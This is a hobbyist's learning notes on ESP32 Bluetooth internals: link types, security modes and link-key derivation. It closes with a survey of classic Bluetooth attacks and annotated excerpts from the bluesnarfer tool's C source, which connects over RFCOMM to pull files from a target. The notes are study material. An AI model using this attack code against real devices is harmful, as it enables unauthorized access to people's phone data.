oooo   o8o
                                                                            `888   `"'
                                                                   .oooo.    888  oooo      ooo. .oo.  .oo.
                                                                  `P  )88b   888  `888      `888P"Y88bP"Y88b
                                                                   .oP"888   888   888       888   888   888
                                                                  d8(  888   888   888  .o.  888   888   888
                                                                  `Y888""8o o888o o888o Y8P o888o o888o o888o

0x12 ESP32 Bluetooth Basics

Purpose of this project is to begin learning about bluetooth at a very deep
level. Goal is to get to a point where i've got an understanding of all low
level architecture & protocols for the ESP32.

The actual bluetooth stack is more complicated than the ESP32 one, given that
not all features are given. But this is a good baseline to jump off of. God
bless.

General Bluetooth Information

Structure is piconet, maximum 8 active devices and 255 inactive ones:

                                M
                                |
                       -------------------
                       |  |  |  |  |  |  |
                       s  s  s  s  s  s  s

Main Protocol Stack:
   I. Controller: Hardware and Link management interface
      - PHY, Baseband, Link controller & manager, device manager, HCI
   II. Host Application interefacer
      - L2CAP, SMP, SDP, ATT, GATT, other profiles

Hops on 79 different frequencies using spread spectrum frequency. Adaptive 
frequency hopping (AFH) used to hop between channels to prevent collisions from
too many nearby devices, or interference from other frequencies. Slot availa-
-bility mask (SAM) assigns times of receive only, and times of send only.

Unfortunately Linux and bluetooth go quite terrible together, so usage of ras-
-pberry Pi's and Linux with bluetooth is fucking non-existent. That's why
this project focuses on ESP32, hopefully down the line access to better dev.
kits like the ESP-WROVER-KIT or a Cypress board will be possible.

For more information about which devices to choose for research with bluetooth
Jiska has amazing information.

Types of Baseband Links

	† ACL  Link: Async communication; general packet data transmission

              #define ACL_START_NO_FLUSH	0x00
              #define ACL_CONT		        0x01
              #define ACL_START		        0x02
              #define ACL_COMPLETE	        0x03
              #define ACL_ACTIVE_BCAST		0x04	Send to one?
              #define ACL_PICO_BCAST		0x08	Send to everyone?

	† SCO  Link: Sync communication; usually for video, audio; circuit-switched

              #define ESCO_HV1		        0x0001
              #define ESCO_HV2		        0x0002
              #define ESCO_HV3		        0x0004
              #define SCO_ESCO_MASK (ESCO_HV1 | ESCO_HV2 | ESCO_HV3)

	† ESCO Link: Enhanced SCO; predetermined time slot transmission

              #define ESCO_2EV3		        0x0040
              #define ESCO_3EV3		        0x0080
              #define ESCO_2EV5		        0x0100
              #define ESCO_3EV5		        0x0200
              #define EDR_ESCO_MASK (ESCO_2EV3 | ESCO_3EV3 |
                                     ESCO_2EV5 | ESCO_3EV5 )

General Bluetooth Security

Security foundations typically start with crypto-stuff and protocols provided
within the stack.

Security Modes

  I.   Non-secure: Terrible :] only supported by v2.0 + EDR and earlier.
  II.  Service-level security: Sec. after LMP link management, before L2CAP
       channel establishment; centralized manager for policy + access control;
       authentication only if requesting; auth. and conf. available in LMP layer.
  III. Link-level security: Sec. before physical link established; auth. and
       conf. mandated; both one-way and mutual auth. supported.
  IV.  Service-level security: Sec. similar to mode 2; if link key required then
       same auth+encryption as modes 2 and 3; difference is SSP to generate the
       link key - uses ECDH for key gen. and exchange.

Link-key Generation

  I.  Modes 2 and 3
      A. Slave RNGs IN_RAND
      B. Slave & master derive K[init] via IN_RAND and pre-shared secret:
	     K[init] = E(P[in], IN_RAND)
      C. Slave & master produce 2 random values LK_RAND[1], LK_RAND[2]
      D. Slave & master generate 2 combo-keys:
	     COMB_KEY[1,2] = LK_RAND[1,2] + K[init]
      E. Slave & master derive K[1,2] values:
	     K[1] = E(LK_RAND[1], BD_ADDR[1])
	     K[2] = E(COMB_KEY[2] + K[init], BD_ADDR[2])
	     ------- vice versa for other device -------
      F. Generate link-key
	     K[link] = K[1] + K[2]
  II. Mode 4
      A. Two devices exchange public keys (P[u1] for A P[u2] for B)
      B. DH key generated by both via:
	     K[DH] = | P(P[r1], P[u2], by dev. A
	             | P(P[r2], P[u1], by dev. B
      C. Two devices establish (N1, N2, r1, r2) via association model using:
	     Numeric Comparison, out-of-band, passkey entry protocol
      D. Two devices generate E[1] and E[2]
	     E[1] = f[s](K[DH], N1, N2, R1, IOCAP[1], BD_ADDR[1], BD_ADDR[2])
	     E[2] = f[s](K[DH], N2, N1, R1, IOCAP[2], BD_ADDR[2], BD_ADDR[1])
	     ------------------- f[s] uses HMAC based SHA-256 ---------------
      E. Two devices share E[1] and E[2]
      F. If compare + verified, then:
	     K[link] = f[2](K[DH], N1, N2, btlk, BD_ADDR[1], BD_ADDR[2])
	     ------------------- btlk predefined string ----------------

† Association model with the three given protocols above is important, but
  too tired to do now... will do later! †

Genres of Exploits

We define some common exploits (some of these are super old...); but most im-
-portantly, we look at some open source code implementation of these exploits
to get an idea of 1. how to interface with bluetooth devices & 2. how these
exploits work in depth.

Bluesnarfing

/kimbo/bluesnarfer
Allows attacker to access filesystem given known file names; done via OBEX get
requests.

---[ bluesnarfer.c ]---
	int bluesnarfer(struct opt options) {
	  FILE *fd;
	  signal(SIGINT, (void *)bt_rfcomm_rel);
	  signal(SIGSEGV, (void *)bt_rfcomm_rel);

	  // hci_for_each_dev(int flag, int(*func)(int d, long arg), long arg)
	  if ((device = hci_for_each_dev(HCI_UP, 0x00, 0)) < 0)
	  fprintf(stderr, "bluesnarfer: hci_for_each_dev , %s\n",
		  strerror(errno));

	  // int bt_get_remote_name(char *);
	  if (bt_get_remote_name(options.bd_addr) < 0)
	  fprintf(stderr, "bluesnarfer: unable to get device name\n");

	  // int socket(int domain, int type, int protocol);
	  // AF_BLUETOOTH,  bl low-level socket
	  // SOCK_RAW,      raw protocol access
	  if ((ctl = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_RFCOMM)) < 0)
	  fprintf(stderr,
		  "bluesnarfer: Can't open RFCOMM control socket");

	  // FILE *bt_rfcomm(int , char *, int ); | ctl is socket num
	  // interesting that it creates a file and checks the fd if conn is made
	  if (!(fd = bt_rfcomm(ctl, options.bd_addr, options.channel)))
	  fprintf(stderr,
		  "bluesnarfer: unable to create rfcomm connection\n");

	  // int switch_cmd(FILE *, struct opt );
	  // think this is for custom commands
	  if (switch_cmd(fd, options) < 0)
	  fprintf(stderr, "bluesnarfer: send_cmd failed\n");

	  bt_rfcomm_rel(); // tries to release rfcomm
	  return 0;
	}

Core function is shown above, not super hard to understand whats going on...
included the function headers so it's easier to see what's going on. Id prefer
to look into some of these functions a little more so here we go.

---[ bluesnarfer.c/bt_get_remote_name]---
	int bt_get_remote_name(char *str_bdaddr) {
	  str2ba(str_bdaddr, &bdaddr); // string to base address format
	  memcpy(&cr.bdaddr, &bdaddr, sizeof(bdaddr_t));
	  cr.type = ACL_LINK;	// async communication type

	  // send HCIGETCONNINFO, if negative number than HCI not connected
	  if (ioctl(dd, HCIGETCONNINFO, (unsigned long)&cr) < 0) {
		// create hci connection here, returns number
		if ((cc = hci_create_connection(dd, &bdaddr, htobs(HCI_DM1 |
		  HCI_DH1), 0, 0,
		  (void *)&handler, 25000)) < 0) {
		  fprintf(stderr, "bluesnarfer: hci_create_connection failed\n");
		  hci_close_dev(dd);
		  return -1;
		}
	  }

	  // function reads and sets name
	  if (hci_read_remote_name(dd, &bdaddr, 248, name, 25000)) {
		fprintf(stderr, "bluesnarfer: hci_read_remote_name failed\n");
		hci_close_dev(dd);
		hci_disconnect(dd, handler, HCI_OE_USER_ENDED_CONNECTION, 10000);
		return -1;
	  }

	  // after reading name, close HCI connection
	  printf("device name: %s\n", name);
		if (cc)
		  hci_disconnect(dd, handler, HCI_OE_USER_ENDED_CONNECTION, 10000);

		hci_close_dev(dd);
		return 0;
	}

Interesting function; sends HCIGETCONNINFO request through file using ioctl;
always makes sure HCI connection is disconnected and fds are closed if either
error or not. Wonder if HCI connection needs to be made everytime a HCI request
is sent... if so then thats annoying.

---[ bluesnarfer.c/bt_rfcomm]---
	FILE *bt_rfcomm(int sock, char *str_bdaddr, int channel) {
	  str2ba(str_bdaddr, &bdaddr);
	  memset(&req, 0x00, sizeof(req));

	  req.dev_id = device;
	  req.channel = channel;

	  memcpy(&req.src, BDADDR_ANY, sizeof(BDADDR_ANY));
	  memcpy(&req.dst, &bdaddr, sizeof(bdaddr));

	  if (ioctl(sock, RFCOMMCREATEDEV, &req) < 0) {
		fprintf(stderr,"bluesnarfer: 
		ioctl RFCOMMCREATEDEV failed, %s\n", strerror(errno));
		return 0x00;
	  }
	  if (!(fd = bt_rfcomm_config())) {
		fprintf(stderr, "bluesnarfer: bt_rfcomm_config failed\n");
		return 0x00;
	  }
	  return fd;
	}

Similar to previous function, sends RFCOMMCREATEDEV request through file using
ioctl; error checking when necessary. Call to bt_rfcomm_config is made, and if
that fails to return a fd, then we fail and exit... Think its time to move on!

Bluejack

Attacker sends notifications to bluetooth device; in some cases can be bad if
user responds giving authentication/verification.

Bluebugging

Send auth. commands through covert channel; allows attacker essentially arbit-
--rary code execution on victim phone.

Car Whisperer

Take advantage of default creds. in car audio-systems; can listen in on victim.

Fuzzing

Attacker finds inherent vulnerabilities in the protocol via sending malformed
packets, or non-standard packets. This is super interesting and there are some
cool research/articles on fuzzing bluetooth stack for vulnerabilities. Like
this one. This may be something i try to research in...